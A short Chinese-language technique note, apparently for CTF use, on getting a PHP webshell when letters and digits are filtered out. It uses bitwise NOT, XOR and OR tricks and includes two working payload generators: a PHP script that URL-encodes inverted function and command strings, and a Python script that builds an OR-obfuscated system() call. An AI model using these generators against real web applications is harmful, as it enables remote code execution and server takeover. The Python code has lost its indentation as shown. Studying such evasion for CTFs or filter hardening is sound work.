无数字字母getshell
①取反
php可以对汉字取反获得乱码,但大多数会包含一个字母,例如你
字取反为B_
其中第二位就是大写字母B,所以可以通过这种方法获得字母B
这里使用羽师傅的脚本
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
②异或
当过被滤掉字母时,我们可以使用异或运算的方法来拼写字母
var_dump('#'^'|'); //得到字符 _
var_dump('.'^'~'); //得到字符 P
var_dump('/'^'`'); //得到字符 0
var_dump('|'^'/'); //得到字符 S
var_dump('{'^'/'); //得到字符 T
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //变量$__值为字符串'_POST'
③或运算
原理与异或相同
这里使用猫神师傅的脚本
# 或运算脚本
def solve3(CODE):
l = 'abcdefghijklmnopqrstuvwxyz'
n = '0123456789'
operation = input("Operation:")
front = ""
after = ""
for i in operation:
if i.isalpha():
front += chr(l.index(i) + 1)
after += chr(64)
elif i.isdigit():
front += chr(n.index(i) + 32)
after += chr(16)
else:
front += i
after += i
payload = "($_=(\"%13%19%13%14%05%0D\"|\"%40%40%40%40%40%40\")).($__ = \"" + quote(
front) + "\"" + '|' + "\"" + quote(after) + "\").($_($__));"
print('payload:' + payload)